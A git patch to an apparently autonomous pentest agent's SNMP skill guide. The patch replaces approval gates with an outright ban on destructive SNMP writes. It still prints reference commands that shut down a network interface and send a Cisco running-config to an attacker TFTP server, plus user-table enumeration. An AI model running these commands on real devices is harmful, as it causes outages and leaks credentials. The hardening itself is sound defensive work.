From b074a5455034c2c24c3ce636ff9d874268f10232 Mon Sep 17 00:00:00 2001 From: sandiyochristan Date: Thu, 13 Aug 2026 01:18:10 +0530 Subject: [PATCH] fix(skills): make destructive SNMP SETs a prohibition, not an approval gate The system prompt instructs agents never to ask for or wait for approval, so an operator-approval callout does not gate anything. Interface shutdown and TFTP config transfer are now marked reference only and never executed autonomously; write access is established with the benign sysContact SET and the rest is reported, not demonstrated. --- strix/skills/protocols/snmp.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/strix/skills/protocols/snmp.md b/strix/skills/protocols/snmp.md index e3c1a324..bc7eea7c 100644 --- a/strix/skills/protocols/snmp.md +++ b/strix/skills/protocols/snmp.md @@ -130,7 +130,7 @@ snmpwalk -v2c -c 1.3.6.1.4.1.77.1.2.25 # winUserTable If a write community string (`private`, `write`, etc.) is found: -> **Operator approval required for all write operations below.** Autonomous agents must NOT execute destructive SNMP SET commands without explicit operator authorization. Use only the benign `sysContact` change (shown in the Validation section) for autonomous write-access confirmation. +> **Never execute the destructive SET commands below.** This is a hard prohibition on autonomous execution, not a request for approval — being in scope does not make an outage or a config exfiltration acceptable. The only SET an agent may issue is the benign `sysContact` change shown below, which must be restored afterwards. The destructive commands are documented so you can recognise and report the exposure; establish write access with `sysContact`, then report what the write community would permit. Do not demonstrate it. **Safe Write Confirmation (autonomous)** @@ -155,16 +155,16 @@ snmpget -v2c -c 1.3.6.1.2.1.1.4.0 If the original `sysContact` was empty, restore it to an empty string (`s ""`). If step 1 fails, do not proceed with the SET — you cannot restore what you did not capture. Report the write finding with the evidence from step 3 and note that the value was restored. -**Destructive Operations (operator approval required)** +**Destructive Operations — document, never execute** ```bash -# ⚠️ DO NOT EXECUTE WITHOUT OPERATOR APPROVAL +# ⚠️ REFERENCE ONLY — never run autonomously; causes an outage # Disable an interface (causes outage) snmpset -v2c -c 1.3.6.1.2.1.2.2.1.7. i 2 ``` -**TFTP Configuration Download — Cisco (operator approval required)** +**TFTP Configuration Download — Cisco (document, never execute)** ```bash -# ⚠️ DO NOT EXECUTE WITHOUT OPERATOR APPROVAL — extracts sensitive configuration +# ⚠️ REFERENCE ONLY — never run autonomously; exfiltrates sensitive configuration # Trigger config backup to attacker TFTP server snmpset -v2c -c 1.3.6.1.4.1.9.2.1.55. s running-config ``` @@ -216,7 +216,7 @@ This retrieves the full router configuration including enable passwords, VPN key 1. **Community string confirmed** — Show successful snmpwalk output with the discovered community string; include sysDescr and sysName as proof 2. **Information disclosure** — Demonstrate specific sensitive data retrieved: user accounts, network topology, running processes, or credentials -3. **Write access** — Show successful snmpset changing a benign value (sysContact) and snmpget confirming the change, then restore the original value and confirm the restoration. **Do not modify operational parameters (interfaces, routes) without operator approval** +3. **Write access** — Show successful snmpset changing a benign value (sysContact) and snmpget confirming the change, then restore the original value and confirm the restoration. **Never modify operational parameters (interfaces, routes) — report the exposure instead of demonstrating it** 4. **v3 weakness** — Show noAuthNoPriv access or successful auth with weak/default credentials 5. Provide exact commands used and sanitized output